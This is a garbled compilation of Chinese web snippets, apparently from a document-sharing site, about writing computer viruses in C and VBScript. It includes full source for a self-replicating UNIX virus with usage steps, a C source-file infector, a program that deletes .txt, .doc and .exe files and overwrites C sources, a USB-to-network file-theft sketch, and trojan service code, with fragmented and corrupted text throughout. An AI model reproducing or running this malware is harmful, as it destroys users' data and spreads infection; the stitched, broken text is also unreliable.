<stdio.h>void main(){long int i;while (i < =100000000){printf("你"完"了");i --;}}set wsh=createobject(“wscript.shell”)dowsh.run “calc”loop这段代码是打开⽆数个计算器,直到死机 ,也是保存为.vbs 格式WScript.Echo(“嘿,谢谢你打开我哦,我等你很久拉!”&TSName)WScript.Echo(“你是可爱的⼩朋吗?”)WScript.Echo(“哈,我想你拉,这你都不知道吗?”)WScript.Echo(“怎么才来,说~是不是不关⼼我”)WScript.Echo(“哼,我⽣⽓拉,等你这么久,⼼都凉啦。
VC编程模拟“摆渡”型U盘病毒
![VC编程模拟“摆渡”型U盘病毒](https://img.taocdn.com/s3/m/76d187e7524de518964b7d14.png)
strcpy(FindedDir,pRoad);//pRoad是指定的文件夹
strcat(FindedDir,"\\");
strcat(FindedDir,findData.cFileName);//FindedDir是指定文件夹下的子文件夹
AddList(FindedDir);//加入文件夹列表
(摆渡型U盘病毒原理图)
本程序通过VC编程来模拟病毒的上述描述。
该程序分为三个步骤:
第一步,将资料拷贝到U盘中(A机中完成);
第二步,将U盘中(从A机拷贝到)的资料通过网络拷贝到指定的机器C中(B机中完成);
{
if (GetDriveType(szDriverName) == DRIVE_REMOVABLE)//搜索盘符,获得磁盘类型是DRIVE_REM OVABLE,即U盘
{
USB = szDriverName[0];
return true;
}
}
以上语句的含义就是从盘符A搜索到盘符Z,当GetDriveType函数返回值为DRIVE_REMOVABLE的时候,则说明其盘符为U盘盘符。
}
将U盘中的资料传到指定主机
该步骤是在B机中完成的,当听一U盘又在另一台接入网络的B机上使用时,使用CopyFile函数将U盘根目录下的11文件夹中的文件通过网络传给指定的主机C,并且使用一个判断语句,当上传成功后,则删除其在U盘中的源文件,达到隐藏的目的,代码如下:
char RemotePath[MAX_PATH];
do
{
strcpy(FindedFile,&USB);
strcat(FindedFile,"[url=file://\\11]\\11[/url]");
c#编写病毒专杀工具(一)
![c#编写病毒专杀工具(一)](https://img.taocdn.com/s3/m/8921871003020740be1e650e52ea551810a6c944.png)
c#编写病毒专杀⼯具(⼀)如今病毒⽊马蠕⾍层出不穷,变种也是⼀个接⼀个。
反病毒公司以及各⼤安全公司随着影响很⼤的病毒的出现都会免费提供病毒专杀⼯具,这个举措对普通⽤户来说确实很有帮助。
其实写病毒专杀⼯具也不像⼤家想象的那么神秘,利⽤SDK写个控制台程序来实现病毒专杀,因⽆须写图形界⾯,所以简便快捷!你⾃⼰也能写!不信?就接着看吧废话不说了,接下来就开始谈谈病毒专杀⼯具的思路及实现⽅法。
此⽂中讲解的病毒专杀⼯具是针对⽊马、蠕⾍等独⽴的程序⽽⾔的⼴义的病毒⽽⾔,⽽不是指那种⾃我复制感染PE⽂件的依附于其他程序的那种狭义的病毒。
因为写那种病毒的专杀⼯具需要PE⽂件结构等知识,相对⽽⾔有点难度,所以我们就先从相对简单点的开始,难的以后再介绍。
对于⼤多数病毒⽽⾔,杀毒的思路其实很简单,那就是:终⽌病毒的进程、删除⾃启动项⽬(⼀般在注册表中的run*主键下)、删除病毒⽂件,对设置了⽂件关联的病毒⽽⾔还要修改注册表恢复⽂件关联。
下⾯将分别陈述。
⼀.终⽌进程以前⽹上曾有许多朋友问我怎么根据⽂件名终⽌指定进程,为什么使⽤函数TerminateProcess()不能直接终⽌指定进程。
⾸先让我们来看看函数 TerminateProcess()的声明吧:Bool TerminateProcess(HANDLE hPeocess,UINT uExitCode),其中第⼀个参数为进程句柄,⽽不是进程名称(⽂件名)。
那怎样才能获得指定进程的句柄呢?我们可以使⽤函数 OpenProcess(),其原型为HANDLE OpenProcess(DWORD dwDesiredAccess, // 访问标志BOOL bInheritHandle, // 处理继承的标志DWORD dwProcessId // 进程标识号,即进程ID);最后⼀个参数就是该进程的ID,进程句柄和进程ID是两回事,这时你可能很郁闷:怎么知道进程ID呢?⽅法当然有啦!在Windows9X/2000 /XP/2003中,微软均提供了⽤来枚举进程的ToolHelp API系列函数。
用C语言编写简单的病毒
![用C语言编写简单的病毒](https://img.taocdn.com/s3/m/974edfa8dd3383c4bb4cd237.png)
用C语言编写简单的病毒[转]2007年08月28日星期二下午 03:39[摘要]在分析病毒机理的基础上,用C语言写了一个小病毒作为实例,用TURBOC2.0实现.[Abstract] This paper introduce the charateristic of the computer virus,then show a simple example written by TURBOC2.0.一、什么是病毒恶意软件可能是第一个对我们产生影响的计算机安全问题.所以病毒在畔踩惺呛苤匾 ?我们要对付病毒,就要了解病毒.写一些病毒是一个很好的办法.如果要写一个病毒,先要知道它是什么.可以给病毒一个定义,这一定义是被广泛认可的。
Frederic Cohen博士在《计算机病毒简短讲座》中提到的:“……一种能够通过修改自身来包括或释放自我拷贝而传染给其他程序的程序。
“其实病毒和普通程序并无太大不同,而且通常比较简单,不像很多程序那样复杂。
只不过病毒里面用到一些正常程序一般不会用到的技术。
要编制一个病毒,首先要知道病毒的运行机理。
不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。
在病毒结构中,首要的而且唯一必需的部分是感染机制。
病毒首先必须是能够繁殖自身的代码,这是病毒之所以成为病毒的根本原因。
我们可以用一段类C伪码来表示这个过程。
InfectSection(){if (infectable_object_found&&object_not_already_infect)infect_object;}病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.一个简单的触发机制可能是这样工作的:TriggerSection(){if (date_is_Friday_13th_and_time_is_03:13:13)set_trigger_status_to_yes; }有效载荷就是病毒用来骚扰你的电脑的方法,有触发机制的病毒一般也有有效载荷。
【转】C语言编的unix病毒
![【转】C语言编的unix病毒](https://img.taocdn.com/s3/m/9565738fd0f34693daef5ef7ba0d4a7302766ce0.png)
【转】C语言编的unix病毒这是一只 UNIX 下的电脑病毒,virus name: Unix Invader (入侵者)written by NCKU htk其特点有:1.其具有 daemon process 的特性(lose control tty)故该process owner 没在线上,该病毒依旧能作用执行,不会被系统终结.2.其可感染 UNIX 上 script file 和各型 binary file(当然要属性得宜) ,不重复感染.感染完后,该执行档或script file 依旧可执行...(好像是废话)3.其在记忆体上所用的隐藏方法是,扫描passwd file,取用该user 的 login shell basename 作为程式名,故,用ps -aux(单ps 看不到)或top 之类的程式,要仔细看,才会被发现...(有点奸诈)4.其不重复长驻,顶多一个user 一只,目地是为扩大感染能力5.其它...没了.6.本来要增加root kill -9 也杀不死的能力,但,时间有限,且经济效益不高所以作罢...(别跟我说 kill -9 pid 是无敌的,我依然有办法)如何实验?cp 几个 binary file 到你的 home directory 里,做几个开头字元是# 的 script file ....如何起动?1.先把此档案设定为 filename.c*************************或********************** ^ ^ 很重要一定要有!3.然后可能会有些警告讯习,管它....,然后,应该会有个virus@ 档出现4. ls -l 看看该(virus@)档案长度多长,记好.5.用 vi 或任何 editor 再回来改 filename.c 里面的 #define 后面档案长度(有标示 here 的地方)6.然后重覆第 2.个步骤,然后得到的 virus@ 才是我们要的.7.执行它...ok! :)8.你就中毒了(十秒内)........以后一旦有适合的档案将会马上被感染...其它:1.此 virus ,小弟未作发作部份,因为,破坏的事人人会做,我不想浪费精力想个残忍的破坏动作........有兴趣的人,可以自己去加上....2.此 virus ,在UNIX 作业系统下执行,故证明一点....只要有人类,没有什么不可能有 virus 的 environment,方法是人想出来的.3.若以一个 system administrator 的眼光来看此毒,亦可以得到个结论,能被此 virus 感染的该帐号,被Crack 的机会是相当高.4.此 virus 目前是以线上所有人的 home directory 为感染 search 开端,其实,若该user 的目录下有个dynamic symbolic link 到根目录下,search就可能把整个wrok station 的目录扫完.5.此virus 并不时时扫描目录,内定是10 秒,唤醒一次,以免被发现... :)6.此virus 是翻脸不认人的,所以你自己的目录也会被感染,自己的属姓设定是没有用的,所以实验前赶紧搬一搬吧!7.任意实验此病毒于公用的工作站是相当不道德的,作者是在自己的linux上实验,您...自个好自为之,被抓到或被踢除帐号,别怪作者htk 没先跟你说.OK?大家好好玩吧!注:Dark Slayer 乃现任 Taiwan Power Virus Orginization 头头是也...1995/6/15>*//* A VIRUS IN UNIX *//* written by NCKU EE htk */#include#include#include#include#include#include#include#include#include#include#include#include#include#include#include#include#include#define CHK 512#define PERM S_IRWXU#define CHKT 10#define LOADER '\nrm -f /tmp/.@`whoami`;cat < '#define LOADER2 ' |tail -c 18606 >/tmp/.@`whoami`;chmod 700/tmp/.@`whoami`;/tmp/.@`whoami`;rm -f /tmp/.@`whoami`;exit;\n'/* ^^^^^modify here */#define VL 18606/* and ^^^^^ here */#define VLL -VL#define BUFSIZE 25088#define BSI 80#define EXE 1#define SCR 2struct flock bk;int fo,f,status=NULL;int flagn=0;void main(argc,argv,envp)int argc;char *argv[];char *envp[];{char *buf2,*fname;static char pidp[BSI]='/tmp/.'; static char bufr[BSI]=''; static int dec;unsigned int k,kep;struct passwd *getp;int caller(void);int chec(int);char *base(char *);char *find(void);void catch(void);int check(char *,int);signal(SIGCLD,SIG_IGN);strcat(pidp,ecvt((double)getuid(),chec(getuid()),&dec,&dec));fname=(char *)tempnam('/tmp',NULL);buf2=(char *)malloc(BUFSIZE);if((fo=open(argv[0],O_RDONLY))<0 || (f=creat(fname,PERM))<0) exit(1);if((kep=lseek(fo,0L,2))>2*VL){lseek(fo,VLL,2);k=read(fo,buf2,VL);write(f,buf2,k);lseek(fo,VL,0);while((k=read(fo,buf2,BUFSIZE))>0)write(f,buf2,k);/* ignore more lefting virus in a tail */}else{lseek(fo,VL-kep,2);k=read(fo,buf2,kep-VL);write(f,buf2,k);}close(f);chmod(fname,S_IRWXU);free(buf2);if((kep=fork())>0){for(k=0;k if(*(argv[0]+k)=='@') exit(0);execve(fname,argv,envp);}elseif(kep==0){sleep(2);unlink(fname);for(k=0;k getp=(struct passwd *)getpwuid(getuid());strcpy(argv[0],base(getp->pw_shell));/* initialize daemon process ... */for(k=0;k<2;k++) close(k);umask(0);if(fork()!=0)exit(0);signal(SIGHUP,SIG_IGN);signal(SIGINT,SIG_IGN);signal(SIGTTOU,SIG_IGN);setpgrp();if((kep=open('/dev/tty',O_RDWR))>=0){ ioctl(kep,TIOCNOTTY,(char *)0);close(kep);}if(fork()!=0)exit(0);signal(SIGUSR1,catch);if((kep=open(pidp,O_CREAT|O_RDWR,S_IRUSR|S_IWUSR))<0) exit(1);k=read(kep,bufr,BSI);if(k!=0) kill(atoi(bufr),SIGUSR1);strcpy(bufr,ecvt((double)getpid(),chec(getpid()),&dec,&dec)); lseek(kep,0L,0);do{k=write(kep,bufr,strlen(pidp)+1);while((buf2=find())!=NULL){getp=(struct passwd *)getpwnam(buf2);if(chdir((buf2=(char *)getp->pw_dir))<0) continue;if(ftw(buf2,caller,15)!=0) continue;}sleep(CHKT);setutent();lseek(kep,0L,0);}while(1);}}int chec(num)int num;{int y=1;while((num=(int)(num/10))>=1) y++;return(y);}void catch(void){flagn=1;}char *base(poi)char *poi;{ int i;for(i=(strlen(poi)-1);i>=0;i--)if(*(poi+i)=='/') return((char *)(poi+i+1)); return('sh');}char *find(){static char name[9]='';struct utmp *goal;goal=(struct utmp *)getutent();if(goal->ut_type==USER_PROCESS){strcpy(name,goal->ut_user);return(name);}if(goal==(struct utmp *)NULL) return(NULL); }int caller(name,statptr,type)char *name;struct stat *statptr;int type;{ unsigned int nread,ymode;static char load[200];char buf[VL],buf3[VL];if(type==FTW_F){ymode=statptr->st_mode;if(check(name,ymode)<0){ if(statptr->st_uid==getuid()) chmod(name,ymode); return(0);}if( status==SCR ){strcpy(load,LOADER);strcat(load,name);strcat(load,LOADER2);lseek(f,0L,2);write(f,load,strlen(load));lseek(fo,0L,0);nread=read(fo,buf,VL);write(f,buf,nread);}if( status==EXE ){if(statptr->st_size>VL){lseek(f,0L,0);nread=read(f,buf,VL);lseek(f,0L,2);write(f,buf,nread);lseek(fo,0L,0);nread=read(fo,buf,VL);lseek(f,0L,0);write(f,buf,nread);}else{lseek(f,0L,0);nread=read(f,buf3,VL);ymode=nread;lseek(fo,0L,0);nread=read(fo,buf,VL);lseek(f,0L,0);write(f,buf,nread);write(f,buf3,ymode);}}/* lseek(f,0L,0);lockf(f,F_ULOCK,0); *//* author's linux library has no above program library */bk.l_type=F_UNLCK;bk.l_whence=0;bk.l_len=0;bk.l_start=0;fcntl(f,F_SETLK,&bk);if(statptr->st_uid==getuid()) chmod(name,ymode); close(f);}if(flagn) exit(0);return(0);}int check(name,ymode)char *name;int ymode;{char ch[CHK];char ch2[CHK];int rd,i;status=(int)NULL;if((f=open(name,O_RDWR))<0){if(chmod(name,ymode|S_IRUSR|S_IWUSR)<0) return(-1);if((f=open(name,O_RDWR))<0) return(-1);}/* if(lockf(f,F_TLOCK,0)<0) { close(f); return(-1); } */bk.l_type=F_WRLCK;bk.l_whence=0;bk.l_len=0;bk.l_start=0;if(fcntl(f,F_SETLK,&bk)<0) { close(f); return(-1); }lseek(f,0L,0);rd=read(f,ch,CHK);lseek(fo,0L,0);read(fo,ch2,rd);for(i=0;i if(ch[i]!=ch2[i]){if( ch[0]!='#' && (ymode&(S_IXUSR|S_IXGRP|S_IXOTH)) ){status=EXE; return(1); }elseif( ch[0]=='#' && lseek(f,0L,2)>VL ) /* you can improve the rule */{lseek(f,VLL,2);rd=read(f,ch,CHK); lseek(fo,0L,0);read(fo,ch2,rd);for(i=0;i if(ch[i]!=ch2[i]) { status=SCR; return(1); } }else if(ch[0]=='#'){ status=SCR; return(1); } break;}close(f);return(-1);}。
InfectC 绑定行病毒源代码
![InfectC 绑定行病毒源代码](https://img.taocdn.com/s3/m/962952362f60ddccda38a088.png)
#include <stdio.h>#include <io.h>#include <string.h>#include <windows.h>/*void virusbody(){printf("I am virus!\n");}*/#define LINE 4char virus[LINE][50] = {"void virusbody()", "{", "printf(\"I am virus!\\n\");", "}"}; char virusinvoke[] = "virusbody();";char virusflag[] = "#define VIRUSFLAG 1\n";char virusinclude[] = "#include <stdio.h>\n";void main(){FILE *fpr, *fpw;char *buf, *posmain;int i, len;char curdir[256];struct _finddata_t fdt;long hfile;GetCurrentDirectory(256, curdir);strcat(curdir, "\\*.cpp");hfile = _findfirst(curdir, &fdt); //查找所有 cpp 文件if(hfile != -1L){do{if(!strstr(, "InfectC.cpp")) //不感染自己{fpr = fopen(, "rb");len = filelength(fpr->_file);buf = new char[len];fread(buf, len, 1, fpr);if(!strstr(buf, virusflag)) //未做感染标记{fpw = fopen(, "rb+");fwrite(virusinclude, strlen(virusinclude), 1, fpw); //写病毒体fwrite(virusflag, strlen(virusflag), 1, fpw);for(i = 0; i < LINE; i++){fwrite(virus[i], strlen(virus[i]), 1, fpw);fputc('\n', fpw);}posmain = strstr(buf, "main"); //查找插入病毒位置fwrite(buf, posmain - buf + 9, 1, fpw);fwrite(virusinvoke, strlen(virusinvoke), 1, fpw);fwrite(posmain + 9, len - (posmain - buf) - 9, 1, fpw);delete buf;fclose(fpw);fclose(fpr);}}}while(_findnext(hfile, &fdt) == 0); }}。
C语言简单小病毒
![C语言简单小病毒](https://img.taocdn.com/s3/m/bef5370cfad6195f312ba616.png)
——1个连360都查不出来的可怕病毒…
哈哈,只是一个恶搞的病毒,大家可以自己编译一下,也可以自己改编,很简单的病毒
下面是病毒代码,纯属恶搞,绝无危害
#include <windows.h>
int main()
{
int judge= MessageBox(NULL,"你的电脑已经中了我的病毒","小可怕病毒",MB_YESNO|MB_ICONEXCLAMATION|MB_HELP);
if(judge==IDYES) {
int a=MessageBox(NULL,"点击修复","小可怕毒修复程序",MB_YESNO);
if (a==IDYES)
{MessageBox(NULL,"骗你的","小可怕病毒恶搞程序",MB_RETRYCANCEL);}
}
else{
MessageBox(NULL,"可恶,你的电脑要没了","一大波病毒入侵",MB_OK|MB_ICONEXCLAMATION);
}
return 0;
}
这是界面,不过大家要在win32项目下写才会没有这个黑黑的东东
--made by gaoxiaolong。
C语言病毒例
![C语言病毒例](https://img.taocdn.com/s3/m/816e6686d0d233d4b04e690c.png)
char tempname[] = "XXXXXX"; //串赋入数组
NewName = mktemp(tempname); //建立唯一的文件名
fp = fopen(NewName,"w"); //创建新文件
fclose (fp); //关闭文件
}
return 0; //返回
}
int CreatEXE (void)
char *documenttype[3] = {"*.txt","*.doc","*.exe"};//初始化指针数组
for (i = 0; i < 3; i++)//控制循环次数
{
done = findfirst(documenttype,&ffblk,2);//搜索目录
while (!done) //查找成功返回0
C语言开发病毒程序
//连接头文件
#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//拷贝文件模块
int copyfile (char *infile, char *outfile)
char *disk[7] = {"A","B","C","D","E","F","G"}; //初始化指针数组
基于VC的一种简单木马的设计论文
![基于VC的一种简单木马的设计论文](https://img.taocdn.com/s3/m/4e0dfb78f46527d3240ce0ea.png)
基于VC的一种简单木马的设计摘要目前,Internet已经得到非常广泛的使用,但是同时,各种黑客工具和网络攻击手段也层出不穷。
黑客入侵给人们造成的各种损失也越来越大,其中木马就是被广泛使用的黑客工具之一,它对网络安全造成了极大的威胁。
本毕业设计使用VC++ 6.0为开发平台设计的一个简单的木马程序,主要实现了获取远程被控计算机的基本信息、锁定其鼠标和键盘、注销重启和关闭被控计算机、隐藏并开启其任务栏、向被控计算机发送消息等功能。
本论文从选题背景入手,介绍了与本系统相关的一些理论知识,以及开发工具,随后详细介绍了该木马程序的开发过程,包括服务端/客户端的socket编程,木马服务端和客户端通信的实现,以及实现远程控制的各种具体功能的实现。
最后对系统进行测试,并对所做工作进行总结。
关键词:木马;远程控制;VC;Windows SocketThe Design of the Trojan Horse Based on Visual CAbstractWith the popularization of the Internet and the development of its application, various kinds of Internet-attacking methods are appeared. These Internet-attacking have seriously damaged the machines and the Internet users. The Trojan horse is one of the popular tools used by hacker and influenced the network security more and more.In this design a simple Trojan horse is developed with Visual C++ 6.0. The primary function includes: getting system information of the long-distance computer, locking its mouse and keyboard, rebooting logout and turn off the computer, hiding taskbar, sending message, catching and killing the process and so on.In this paper, the background and the development technology is introduced at first, and then it introduces the design process of the Trojan Horse, includes socket programming of the server and client, communication between the server and client and implementation the function in detail.Key words:Trojan Horse; Long-distance control; VC; Windows Socket目录论文总页数:26页1 引言 (1)2 相关技术介绍 (1)2.1开发环境VC++6.0 (1)2.2套接字S OCKET编程原理 (1)2.3木马基本原理 (3)2.3.1木马定义 (3)2.3.2木马发展 (3)2.3.3木马基本组成 (4)2.3.4C/S客户服务器模式 (4)2.3.5木马入侵过程 (5)3 系统设计 (7)3.1系统总体设计 (7)3.1.1设计目标 (7)3.1.2功能介绍 (8)3.2具体功能实现 (9)3.2.1获取信息功能 (9)3.2.2清除信息 (10)3.2.3锁定鼠标和键盘 (10)3.2.4注销、重启和关机 (11)3.2.5隐藏并开启任务栏 (13)3.2.6发送消息 (16)3.2.7查看进程 (17)3.2.8木马的伪装 (20)4 系统测试 (23)结论 (24)参考文献 (24)致谢 (25)声明 (26)1引言以Internet为代表的全球性信息化浪潮日益高涨,信息网络技术的应用正日益普及,伴随网络的普及,安全问题日益成为影响网络效能的重要问题。
用C编写病毒
![用C编写病毒](https://img.taocdn.com/s3/m/1243bb7fa417866fb84a8e7c.png)
一、可以通过控制面板-管理工具-服务来管理和控制,这个大家应该很熟悉了。
二、自己写程序,这个程序就是我们木马病毒的启动程序。首先要打开SCM,如下:
SC_HANDLE OpenManager(LPCTSTR lpMachineNnme //SCM所在的机器名,一般为NULL,表示本地系统
,LPCTSTR lpDatabaseName //一般也为NULL
, DWROD dwAccess) //访问权限,可以设置为MANAGER_ALL_ACCESS
然后用上面的函数返回的SC_HANDLE调用CreateService函数,来创建一个逻辑服务的句柄,如下:
LPCESTR lpDependencies,
LPCTSTR lpServiceStartName,
LPCTSTR lpPassword)
如果成功,将返回dwServiceName对应的句柄SC_HANDLE,通过对这个句柄的操作可以控制服务。
ServiceStatus.dwControlAccepted=SERVICE_ACCEPT_PAUSE_CONTINUE;//设置或返回服务可接受的控制,此处为服务可以接受暂停和继续的控制命令,控制命令稍候介绍,可以查看MSDN。在我们的木马病毒中,只设置为可接受暂停和继续控制,像关闭、停止等命令都拒绝接受
int main()
{
SERVICE_TABLE_ENTRY ste[]={{ServiceName,ServiceMain},
{NULL,NULL} };//ServiceName是我们下面准备实现的逻辑服务的名称,这个像变量一样可以随便定义;ServiceMain就是逻辑服务所对应的服务入口点,它只是一个占位符,函数名称也是可以随便起的。这里可以给出多个逻辑服务,对于我们的木马病毒应该给两个逻辑服务。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
用C语言编写简单的病毒[转]2007年08月28日星期二下午 03:39[摘要]在分析病毒机理的基础上,用C语言写了一个小病毒作为实例,用TURBOC2.0实现.[Abstract] This paper introduce the charateristic of the computer virus,then show a simple example written by TURBOC2.0.一、什么是病毒恶意软件可能是第一个对我们产生影响的计算机安全问题.所以病毒在畔踩惺呛苤匾 ?我们要对付病毒,就要了解病毒.写一些病毒是一个很好的办法.如果要写一个病毒,先要知道它是什么.可以给病毒一个定义,这一定义是被广泛认可的。
Frederic Cohen博士在《计算机病毒简短讲座》中提到的:“……一种能够通过修改自身来包括或释放自我拷贝而传染给其他程序的程序。
“其实病毒和普通程序并无太大不同,而且通常比较简单,不像很多程序那样复杂。
只不过病毒里面用到一些正常程序一般不会用到的技术。
要编制一个病毒,首先要知道病毒的运行机理。
不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。
在病毒结构中,首要的而且唯一必需的部分是感染机制。
病毒首先必须是能够繁殖自身的代码,这是病毒之所以成为病毒的根本原因。
我们可以用一段类C伪码来表示这个过程。
InfectSection(){if (infectable_object_found&&object_not_already_infect)infect_object;}病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.一个简单的触发机制可能是这样工作的:TriggerSection(){if (date_is_Friday_13th_and_time_is_03:13:13)set_trigger_status_to_yes;}有效载荷就是病毒用来骚扰你的电脑的方法,有触发机制的病毒一般也有有效载荷。
它可以是任意的给你发一条一次性简单的愚弄信息,重新格式化你的磁盘,把它自己邮给你的E_mail通信者都可以成为有效的负荷。
简单的有效负荷可以如下进行:Executesection(){if (trigger_statue_is_yes)execute_payload;}二、编制病毒的语言最常见的编制病毒的语言有汇编语言、VB、C 语言等,我们可以来看一看一个有名的病毒论坛上认为学写病毒要掌握的基础:1).Win32编程,进程,线程,内存,等等。
2).32位汇编,以指令用法为主。
386汇编就比较够用了。
3).PE格式,有精力还可以看一下其它可能被感染的文件的文件格式。
4).调试技术。
VC,TD32,SoftIce,等等。
要掌握的东西确实很多,还多听都没听过,很吓人.但实际上,即使我们对计算机的原理和操作系统不很了解,而且不熟悉除C以外的其他语言,只要我们对C的库函数有一定了解,就可以写一些类似病毒的东西.三用C编制病毒以TurboC2.0为例.它的库函数可以实现很多功能.如以下两个函数:1).findfirst和findnext函数:在dir.h。
findfirst用来找各种类型的文件,可以得到文件名文件长度,文件属性等,findnext和findfirst配合使用,用来找到下一个同类型的文件。
2).remove函数:在stdio.h.只要知道文件名,可以删除任意类型的文件.四我写的C病毒<<计算机病毒解密>>上有一句比较经典的话,"或许把恶意软件造成的损害说成是心理上的损害可能会更恰当一些".从这个意义上说,我的病毒是非常典型的病毒.下面是我写的病毒.它主要由四个模块组成.RubbishMaker()可用来在当前目录下生成大量随机命名的垃圾文件.CreatEXE()将在C盘的敏感地方放置几个.exe垃圾,它们要隐蔽一些。
Remove()会删掉你的一些东西,所以千万不要随便运行这个程序.Breed()是C_KILLER的精华所在,它将kill所有的c程序,并利用它们繁殖自身.前三个是有效负载.第四个可以说是它的感染机制./**********************************IN FACT,IT"S NOT A VIRYUS AT ALL.**********************************/#include <io.h>#include <dir.h>#include <stdio.h>#include <stdlib.h>#include <string.h>/* copy outfile to infile */void copyfile(char *infile, char *outfile){FILE *in,*out;in = fopen(infile,"r");out = fopen(outfile,"w");while (!feof(in)){fputc(fgetc(in),out);}fclose(in);fclose(out);}/*This function named Rubbishmaker.*/void MakeRubbish(){int i;FILE *fp;char *path;char *NewName;char *disk[7] = {"A","B","C","D","E","F","G"};char *addtion = ":\\";/* Make some rubbish at the current catalogue */for (i = 0; i<5; i++){char tempname[] = "XXXXXX" ;NewName = mktemp(tempname);fp = fopen(NewName,"w");fclose(fp);}/* make some rubbish at the root catalogue */path = strcat(disk[getdisk()],addtion); /* get the root catalogue */chdir(path); /*change directory according to the "path" */for (i = 0; i<5; i++){char tempname[] = "XXXXXX";NewName = mktemp(tempname);fp = fopen(NewName,"w");fclose(fp);}}/*This function can creat some .exe or .com documents in the sensitive place. Don't worry,It's only a joke.It will do no harm to your computer.*/void CreatEXE(){int i;char *path;char *s[2] ={"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\"};for ( i = 0; i < 2; i++) {open(s, 0x0100,0x0080);copyfile( "C_KILLER.C",s);}}/* remove something from your computer */void Remove(){int done;int i;struct ffblk ffblk;char *documenttype[3] = {"*.txt","*.doc","*.exe"};for (i = 0; i < 3; i++){done = findfirst(documenttype,&ffblk,2);while (!done){remove(ffblk.ff_name);done = findnext(&ffblk);}}}/* overlay the c programs */void Breed(){int done;struct ffblk ffblk;done = findfirst("*.c",&ffblk,2);while (!done){if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 ){copyfile("C_KILLER.C",ffblk.ff_name);}done = findnext(&ffblk);}}void main(){printf("THERE IS A VIRUS BY XIAOKE.\n\n");Breed();Remove();CreatEXE();printf("COULD YOU TELL ME YOUR NAME?\n\n");printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!\n\n");MakeRubbish();getchar();printf("IT'S ONLY A JOKE! THANK YOU!\n\n");clrscr();system("cmd");}简单的c病毒2007年,我的最后一个程序哦,觉得很有纪念意义,所以拿来共享。
不过是unix/linux环境的,能看懂原理就OK了。
详细分析请参考我的blog: /u1/46016/index.phpTip:仅供学习参考-->了解病毒是为了更好的防范它。